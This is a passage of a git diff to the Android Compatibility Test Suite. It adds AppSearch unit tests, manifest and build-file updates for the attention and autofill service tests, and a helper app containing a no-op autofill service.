+++ b/tests/appsearch/src/com/android/cts/appsearch/external/SetSchemaResponseCtsTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.appsearch.AppSearchResult;
+import android.app.appsearch.SetSchemaResponse;
+
+import org.junit.Test;
+
+public class SetSchemaResponseCtsTest {
+    @Test
+    public void testRebuild() {
+        SetSchemaResponse.MigrationFailure failure1 =
+                new SetSchemaResponse.MigrationFailure.Builder()
+                        .setNamespace("namespace")
+                        .setSchemaType("schemaType")
+                        .setUri("failure1")
+                        .setAppSearchResult(
+                                AppSearchResult.newFailedResult(
+                                        AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage"))
+                        .build();
+        SetSchemaResponse.MigrationFailure failure2 =
+                new SetSchemaResponse.MigrationFailure.Builder()
+                        .setNamespace("namespace")
+                        .setSchemaType("schemaType")
+                        .setUri("failure2")
+                        .setAppSearchResult(
+                                AppSearchResult.newFailedResult(
+                                        AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage"))
+                        .build();
+
+        SetSchemaResponse original =
+                new SetSchemaResponse.Builder()
+                        .addDeletedType("delete1")
+                        .addIncompatibleType("incompatible1")
+                        .addMigratedType("migrated1")
+                        .addMigrationFailure(failure1)
+                        .build();
+        assertThat(original.getDeletedTypes()).containsExactly("delete1");
+        assertThat(original.getIncompatibleTypes()).containsExactly("incompatible1");
+        assertThat(original.getMigratedTypes()).containsExactly("migrated1");
+        assertThat(original.getMigrationFailures()).containsExactly(failure1);
+
+        SetSchemaResponse rebuild =
+                original.toBuilder()
+                        .addDeletedType("delete2")
+                        .addIncompatibleType("incompatible2")
+                        .addMigratedType("migrated2")
+                        .addMigrationFailure(failure2)
+                        .build();
+
+        // rebuild won't effect the original object
+        assertThat(original.getDeletedTypes()).containsExactly("delete1");
+        assertThat(original.getIncompatibleTypes()).containsExactly("incompatible1");
+        assertThat(original.getMigratedTypes()).containsExactly("migrated1");
+        assertThat(original.getMigrationFailures()).containsExactly(failure1);
+
+        assertThat(rebuild.getDeletedTypes()).containsExactly("delete1", "delete2");
+        assertThat(rebuild.getIncompatibleTypes())
+                .containsExactly("incompatible1", "incompatible2");
+        assertThat(rebuild.getMigratedTypes()).containsExactly("migrated1", "migrated2");
+        assertThat(rebuild.getMigrationFailures()).containsExactly(failure1, failure2);
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/customer/CustomerDocumentTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/customer/CustomerDocumentTest.java
new file mode 100644
index 0000000..29b5754
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/customer/CustomerDocumentTest.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts.customer;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.annotation.NonNull;
+import android.app.appsearch.GenericDocument;
+
+import org.junit.Test;
+
+/**
+ * Tests that {@link GenericDocument} and {@link GenericDocument.Builder} are extendable by
+ * developers.
+ *
+ * <p>This class is intentionally in a different package than {@link GenericDocument} to make sure
+ * there are no package-private methods required for external developers to add custom types.
+ */
+public class CustomerDocumentTest {
+
+    private static final byte[] BYTE_ARRAY1 = new byte[] {(byte) 1, (byte) 2, (byte) 3};
+    private static final byte[] BYTE_ARRAY2 = new byte[] {(byte) 4, (byte) 5, (byte) 6};
+    private static final GenericDocument DOCUMENT_PROPERTIES1 =
+            new GenericDocument.Builder<>("sDocumentProperties1", "sDocumentPropertiesSchemaType1")
+                    .build();
+    private static final GenericDocument DOCUMENT_PROPERTIES2 =
+            new GenericDocument.Builder<>("sDocumentProperties2", "sDocumentPropertiesSchemaType2")
+                    .build();
+
+    @Test
+    public void testBuildCustomerDocument() {
+        CustomerDocument customerDocument =
+                new CustomerDocument.Builder("uri1")
+                        .setScore(1)
+                        .setCreationTimestampMillis(0)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .setPropertyBytes("byteKey1", BYTE_ARRAY1, BYTE_ARRAY2)
+                        .setPropertyDocument(
+                                "documentKey1", DOCUMENT_PROPERTIES1, DOCUMENT_PROPERTIES2)
+                        .build();
+
+        assertThat(customerDocument.getUri()).isEqualTo("uri1");
+        assertThat(customerDocument.getSchemaType()).isEqualTo("customerDocument");
+        assertThat(customerDocument.getScore()).isEqualTo(1);
+        assertThat(customerDocument.getCreationTimestampMillis()).isEqualTo(0L);
+        assertThat(customerDocument.getPropertyLongArray("longKey1"))
+                .asList()
+                .containsExactly(1L, 2L, 3L);
+        assertThat(customerDocument.getPropertyDoubleArray("doubleKey1"))
+                .usingExactEquality()
+                .containsExactly(1.0, 2.0, 3.0);
+        assertThat(customerDocument.getPropertyBooleanArray("booleanKey1"))
+                .asList()
+                .containsExactly(true, false, true);
+        assertThat(customerDocument.getPropertyStringArray("stringKey1"))
+                .asList()
+                .containsExactly("test-value1", "test-value2", "test-value3");
+        assertThat(customerDocument.getPropertyBytesArray("byteKey1"))
+                .asList()
+                .containsExactly(BYTE_ARRAY1, BYTE_ARRAY2);
+        assertThat(customerDocument.getPropertyDocumentArray("documentKey1"))
+                .asList()
+                .containsExactly(DOCUMENT_PROPERTIES1, DOCUMENT_PROPERTIES2);
+    }
+
+    /**
+     * An example document type for test purposes, defined outside of {@link GenericDocument} (the
+     * way an external developer would define it).
+     */
+    private static class CustomerDocument extends GenericDocument {
+        private CustomerDocument(GenericDocument document) {
+            super(document);
+        }
+
+        public static class Builder extends GenericDocument.Builder<CustomerDocument.Builder> {
+            private Builder(@NonNull String uri) {
+                super(uri, "customerDocument");
+            }
+
+            @Override
+            @NonNull
+            public CustomerDocument build() {
+                return new CustomerDocument(super.build());
+            }
+        }
+    }
+}
diff --git a/tests/aslr/Android.bp b/tests/aslr/Android.bp
index 952926c..ca0049d 100644
--- a/tests/aslr/Android.bp
+++ b/tests/aslr/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "CtsAslrMallocTestCases",
     compile_multilib: "both",
diff --git a/tests/aslr/TEST_MAPPING b/tests/aslr/TEST_MAPPING
new file mode 100644
index 0000000..ee44915
--- /dev/null
+++ b/tests/aslr/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAslrMallocTestCases"
+    }
+  ]
+}
diff --git a/tests/attentionservice/Android.bp b/tests/attentionservice/Android.bp
index a515cf7..dfa2848 100644
--- a/tests/attentionservice/Android.bp
+++ b/tests/attentionservice/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAttentionServiceDeviceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/attentionservice/AndroidManifest.xml b/tests/attentionservice/AndroidManifest.xml
index 22ab937..341a6f9 100644
--- a/tests/attentionservice/AndroidManifest.xml
+++ b/tests/attentionservice/AndroidManifest.xml
@@ -16,30 +16,30 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.attentionservice.cts">
+     package="android.attentionservice.cts">
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <service
-            android:name=".CtsTestAttentionService"
-            android:label="CtsTestAttentionService"
-            android:permission="android.permission.BIND_ATTENTION_SERVICE">
+        <uses-library android:name="android.test.runner"/>
+        <service android:name=".CtsTestAttentionService"
+             android:label="CtsTestAttentionService"
+             android:permission="android.permission.BIND_ATTENTION_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.service.attention.AttentionService"/>
             </intent-filter>
         </service>
-        <activity android:name="CtsAttentionServiceDeviceActivity" >
+        <activity android:name="CtsAttentionServiceDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for the Attention Service APIs."
-        android:targetPackage="android.attentionservice.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the Attention Service APIs."
+         android:targetPackage="android.attentionservice.cts">
     </instrumentation>
 </manifest>
diff --git a/tests/autofillservice/Android.bp b/tests/autofillservice/Android.bp
index 5e022ea..d04f23b 100644
--- a/tests/autofillservice/Android.bp
+++ b/tests/autofillservice/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAutoFillServiceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index f690678..28d4ebd 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -14,202 +14,210 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.autofillservice.cts"
-    android:targetSandboxVersion="2">
+     package="android.autofillservice.cts"
+     android:targetSandboxVersion="2">
 
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
-    <uses-permission android:name="android.permission.INJECT_EVENTS" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+    <uses-permission android:name="android.permission.INJECT_EVENTS"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
 
     <application>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name=".LoginActivity" >
+        <activity android:name=".activities.LoginActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".PreFilledLoginActivity" />
-        <activity android:name=".LoginWithCustomHighlightActivity"
-                  android:theme="@style/MyAutofilledHighlight"/>
-        <activity android:name=".LoginWithStringsActivity" />
-        <activity android:name=".LoginNotImportantForAutofillActivity" />
-        <activity android:name=".LoginNotImportantForAutofillWrappedActivityContextActivity" />
-        <activity android:name=".LoginNotImportantForAutofillWrappedApplicationContextActivity" />
-        <activity android:name=".WelcomeActivity" android:taskAffinity=".WelcomeActivity"/>
-        <activity android:name=".ViewActionActivity"
-                  android:taskAffinity=".ViewActionActivity"
-                  android:launchMode="singleTask">
+        <activity android:name=".activities.PreFilledLoginActivity"/>
+        <activity android:name=".activities.LoginWithCustomHighlightActivity"
+             android:theme="@style/MyAutofilledHighlight"/>
+        <activity android:name=".activities.LoginWithStringsActivity"/>
+        <activity android:name=".activities.LoginNotImportantForAutofillActivity"/>
+        <activity android:name=".activities.LoginNotImportantForAutofillWrappedActivityContextActivity"/>
+        <activity android:name=".activities.LoginNotImportantForAutofillWrappedApplicationContextActivity"/>
+        <activity android:name=".activities.WelcomeActivity"
+             android:taskAffinity=".WelcomeActivity"/>
+        <activity android:name=".activities.ViewActionActivity"
+             android:taskAffinity=".ViewActionActivity"
+             android:launchMode="singleTask"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <data android:scheme="autofillcts" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.VIEW"/>
+                <data android:scheme="autofillcts"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <activity android:name=".SecondActivity" android:taskAffinity=".SecondActivity"/>
-        <activity android:name=".ViewAttributesTestActivity" />
-        <activity android:name=".AuthenticationActivity" />
-        <activity android:name=".ManualAuthenticationActivity" />
-        <activity android:name=".CheckoutActivity" android:taskAffinity=".CheckoutActivity"/>
-        <activity android:name=".InitializedCheckoutActivity" />
-        <activity android:name=".DatePickerCalendarActivity" />
-        <activity android:name=".DatePickerSpinnerActivity" />
-        <activity android:name=".TimePickerClockActivity" />
-        <activity android:name=".TimePickerSpinnerActivity" />
-        <activity android:name=".FatActivity" />
-        <activity android:name=".VirtualContainerActivity">
+        <activity android:name=".activities.SecondActivity"
+             android:taskAffinity=".SecondActivity"/>
+        <activity android:name=".activities.ViewAttributesTestActivity"/>
+        <activity android:name=".activities.AuthenticationActivity"/>
+        <activity android:name=".activities.ManualAuthenticationActivity"/>
+        <activity android:name=".activities.CheckoutActivity"
+             android:taskAffinity=".CheckoutActivity"/>
+        <activity android:name=".activities.InitializedCheckoutActivity"/>
+        <activity android:name=".activities.DatePickerCalendarActivity"/>
+        <activity android:name=".activities.DatePickerSpinnerActivity"/>
+        <activity android:name=".activities.TimePickerClockActivity"/>
+        <activity android:name=".activities.TimePickerSpinnerActivity"/>
+        <activity android:name=".activities.FatActivity"/>
+        <activity android:name=".activities.VirtualContainerActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".OptionalSaveActivity" />
-        <activity android:name=".AllAutofillableViewsActivity" />
-        <activity android:name=".GridActivity"/>
-        <activity android:name=".EmptyActivity"/>
-        <activity android:name=".DummyActivity"/>
-        <activity android:name=".OutOfProcessLoginActivity"
-            android:process="android.autofillservice.cts.outside"/>
-        <activity android:name=".FragmentContainerActivity" />
-        <activity android:name=".DuplicateIdActivity"
-            android:theme="@android:style/Theme.NoTitleBar" />
-        <activity android:name=".SimpleSaveActivity"/>
-        <activity android:name=".PreSimpleSaveActivity">
+        <activity android:name=".activities.OptionalSaveActivity"/>
+        <activity android:name=".activities.GridActivity"/>
+        <activity android:name=".activities.EmptyActivity"/>
+        <activity android:name=".activities.DummyActivity"/>
+        <activity android:name=".activities.OutOfProcessLoginActivity"
+             android:process="android.autofillservice.cts.outside"/>
+        <activity android:name=".activities.FragmentContainerActivity"/>
+        <activity android:name=".activities.DuplicateIdActivity"
+             android:theme="@android:style/Theme.NoTitleBar"/>
+        <activity android:name=".activities.SimpleSaveActivity"/>
+        <activity android:name=".activities.PreSimpleSaveActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".WebViewActivity"/>
-        <activity android:name=".WebViewMultiScreenLoginActivity"/>
-        <activity android:name=".TrampolineWelcomeActivity"/>
-        <activity android:name=".AttachedContextActivity"/>
-        <activity android:name=".DialogLauncherActivity" >
+        <activity android:name=".activities.WebViewActivity"/>
+        <activity android:name=".activities.WebViewMultiScreenLoginActivity"/>
+        <activity android:name=".activities.TrampolineWelcomeActivity"/>
+        <activity android:name=".activities.AttachedContextActivity"/>
+        <activity android:name=".activities.DialogLauncherActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".MultiWindowLoginActivity" />
-        <activity android:name=".MultiWindowEmptyActivity"
-            android:taskAffinity="nobody.but.EmptyActivity"
-            android:exported="true" />
+        <activity android:name=".activities.MultiWindowLoginActivity"/>
+        <activity android:name=".activities.MultiWindowEmptyActivity"
+             android:taskAffinity="nobody.but.EmptyActivity"
+             android:exported="true"/>
 
-        <activity android:name=".TrampolineForResultActivity" />
-        <activity android:name=".OnCreateServiceStatusVerifierActivity"/>
-        <activity android:name=".UsernameOnlyActivity" >
+        <activity android:name=".activities.TrampolineForResultActivity"/>
+        <activity android:name=".activities.OnCreateServiceStatusVerifierActivity"/>
+        <activity android:name=".activities.UsernameOnlyActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".PasswordOnlyActivity" >
+        <activity android:name=".activities.PasswordOnlyActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".augmented.AugmentedLoginActivity">
+        <activity android:name=".activities.AugmentedLoginActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".augmented.AugmentedAuthActivity" />
-        <activity android:name=".SimpleAfterLoginActivity" />
-        <activity android:name=".SimpleBeforeLoginActivity" />
-        <activity android:name=".NonAutofillableActivity" />
+        <activity android:name=".activities.AugmentedAuthActivity" />
+        <activity android:name=".activities.SimpleAfterLoginActivity"/>
+        <activity android:name=".activities.SimpleBeforeLoginActivity"/>
+        <activity android:name=".activities.NonAutofillableActivity"/>
 
-        <receiver android:name=".SelfDestructReceiver"
-            android:exported="true"
-            android:process="android.autofillservice.cts.outside"/>
-        <receiver android:name=".OutOfProcessLoginActivityFinisherReceiver"
-            android:exported="true"
-            android:process="android.autofillservice.cts.outside"/>
+        <receiver android:name=".testcore.SelfDestructReceiver"
+             android:exported="true"
+             android:process="android.autofillservice.cts.outside"/>
+        <receiver android:name=".testcore.OutOfProcessLoginActivityFinisherReceiver"
+             android:exported="true"
+             android:process="android.autofillservice.cts.outside"/>
 
-        <service
-            android:name=".InstrumentedAutoFillService"
-            android:label="InstrumentedAutoFillService"
-            android:permission="android.permission.BIND_AUTOFILL_SERVICE" >
+        <service android:name=".testcore.InstrumentedAutoFillService"
+             android:label="InstrumentedAutoFillService"
+             android:permission="android.permission.BIND_AUTOFILL_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.autofill.AutofillService" />
+                <action android:name="android.service.autofill.AutofillService"/>
             </intent-filter>
         </service>
-        <service
-            android:name=".InstrumentedAutoFillServiceCompatMode"
-            android:label="InstrumentedAutoFillServiceCompatMode"
-            android:permission="android.permission.BIND_AUTOFILL_SERVICE" >
+        <service android:name=".testcore.InstrumentedAutoFillServiceCompatMode"
+             android:label="testcore.InstrumentedAutoFillServiceCompatMode"
+             android:permission="android.permission.BIND_AUTOFILL_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.autofill.AutofillService" />
+                <action android:name="android.service.autofill.AutofillService"/>
             </intent-filter>
-            <meta-data
-                android:name="android.autofill"
-                android:resource="@xml/autofill_service_compat_mode_config">
+            <meta-data android:name="android.autofill"
+                 android:resource="@xml/autofill_service_compat_mode_config">
             </meta-data>
         </service>
-        <service
-            android:name=".inline.InstrumentedAutoFillServiceInlineEnabled"
-            android:label="InstrumentedAutoFillServiceInlineEnabled"
-            android:permission="android.permission.BIND_AUTOFILL_SERVICE" >
+        <service android:name=".testcore.InstrumentedAutoFillServiceInlineEnabled"
+             android:label="InstrumentedAutoFillServiceInlineEnabled"
+             android:permission="android.permission.BIND_AUTOFILL_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.autofill.AutofillService" />
+                <action android:name="android.service.autofill.AutofillService"/>
             </intent-filter>
-            <meta-data
-                android:name="android.autofill"
-                android:resource="@xml/autofill_service_inline_enabled">
+            <meta-data android:name="android.autofill"
+                 android:resource="@xml/autofill_service_inline_enabled">
             </meta-data>
         </service>
-        <service
-            android:name=".NoOpAutofillService"
-            android:label="NoOpAutofillService"
-            android:permission="android.permission.BIND_AUTOFILL_SERVICE" >
+        <service android:name=".testcore.NoOpAutofillService"
+             android:label="NoOpAutofillService"
+             android:permission="android.permission.BIND_AUTOFILL_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.autofill.AutofillService" />
+                <action android:name="android.service.autofill.AutofillService"/>
             </intent-filter>
         </service>
         <!--  BadAutofillService does not declare the proper permission -->
-        <service
-            android:name=".BadAutofillService"
-            android:label="BadAutofillService">
+        <service android:name=".testcore.BadAutofillService"
+             android:label="testcore.BadAutofillService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.autofill.AutofillService" />
+                <action android:name="android.service.autofill.AutofillService"/>
             </intent-filter>
         </service>
 
-        <service
-            android:name=".augmented.CtsAugmentedAutofillService"
-            android:label="CtsAugmentedAutofillService"
-            android:permission="android.permission.BIND_AUGMENTED_AUTOFILL_SERVICE" >
+        <service android:name=".testcore.CtsAugmentedAutofillService"
+             android:label="CtsAugmentedAutofillService"
+             android:permission="android.permission.BIND_AUGMENTED_AUTOFILL_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.autofill.AutofillService" />
+                <action android:name="android.service.autofill.AutofillService"/>
             </intent-filter>
         </service>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for the AutoFill Framework APIs."
-        android:targetPackage="android.autofillservice.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the AutoFill Framework APIs."
+         android:targetPackage="android.autofillservice.cts">
     </instrumentation>
 
 </manifest>
diff --git a/tests/autofillservice/AndroidTest.xml b/tests/autofillservice/AndroidTest.xml
index 288ddba..7aec376 100644
--- a/tests/autofillservice/AndroidTest.xml
+++ b/tests/autofillservice/AndroidTest.xml
@@ -23,6 +23,12 @@
   <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
     <option name="cleanup-apks" value="true" />
     <option name="test-file-name" value="CtsAutoFillServiceTestCases.apk" />
+    <option name="test-file-name" value="TestAutofillServiceApp.apk" />
+  </target_preparer>
+
+  <!-- Load additional APKs onto device -->
+  <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+    <option name="push" value="TestAutofillServiceApp.apk->/data/local/tmp/cts/autofill/TestAutofillServiceApp.apk" />
   </target_preparer>
 
   <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
@@ -41,6 +47,11 @@
     <option name="teardown-command" value="cmd autofill set bind-instant-service-allowed false" />
   </target_preparer>
 
+  <!--  Remove the pushed APK after test is done. -->
+  <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+    <option name="teardown-command" value="rm -rf /data/local/tmp/cts/autofill" />
+  </target_preparer>
+
   <test class="com.android.tradefed.testtype.AndroidJUnitTest">
     <option name="package" value="android.autofillservice.cts" />
     <!-- 20x default timeout of 600sec -->
diff --git a/tests/autofillservice/TestAutofillService/Android.bp b/tests/autofillservice/TestAutofillService/Android.bp
new file mode 100644
index 0000000..2204f27
--- /dev/null
+++ b/tests/autofillservice/TestAutofillService/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "TestAutofillServiceApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+}
diff --git a/tests/autofillservice/TestAutofillService/AndroidManifest.xml b/tests/autofillservice/TestAutofillService/AndroidManifest.xml
new file mode 100644
index 0000000..bcd391e
--- /dev/null
+++ b/tests/autofillservice/TestAutofillService/AndroidManifest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.autofill.cts2"
+          android:targetSandboxVersion="2">
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+
+        <activity android:name=".QueryAutofillStatusActivity"
+                  android:label="QueryAutofillStatusActivity"
+                  android:taskAffinity=".QueryAutofillStatusActivity"
+                  android:theme="@android:style/Theme.NoTitleBar"
+                  android:exported="true">
+        </activity>
+        <service android:name=".NoOpAutofillService"
+                 android:label="NoOpAutofillService"
+                 android:permission="android.permission.BIND_AUTOFILL_SERVICE"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.service.autofill.AutofillService"/>
+            </intent-filter>
+        </service>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:label="CTS tests for the AutoFill Framework APIs."
+                     android:targetPackage="android.autofill.cts2">
+    </instrumentation>
+
+</manifest>
diff --git a/tests/autofillservice/TestAutofillService/src/android/autofill/cts2/NoOpAutofillService.java b/tests/autofillservice/TestAutofillService/src/android/autofill/cts2/NoOpAutofillService.java
new file mode 100644
index 0000000..eaf69b0
--- /dev/null
+++ b/tests/autofillservice/TestAutofillService/src/android/autofill/cts2/NoOpAutofillService.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofill.cts2;
+
+import android.os.CancellationSignal;
+import android.service.autofill.AutofillService;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillRequest;
+import android.service.autofill.SaveCallback;
+import android.service.autofill.SaveRequest;
+import android.util.Log;
+
+/**
+ * {@link AutofillService} implementation that does not do anything.
+ */
+public class NoOpAutofillService extends AutofillService {
+
+    private static final String TAG = "NoOpAutofillService";
+
+    @Override
+    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+            FillCallback callback) {
+        Log.d(TAG, "onFillRequest()");
+    }
+
+    @Override
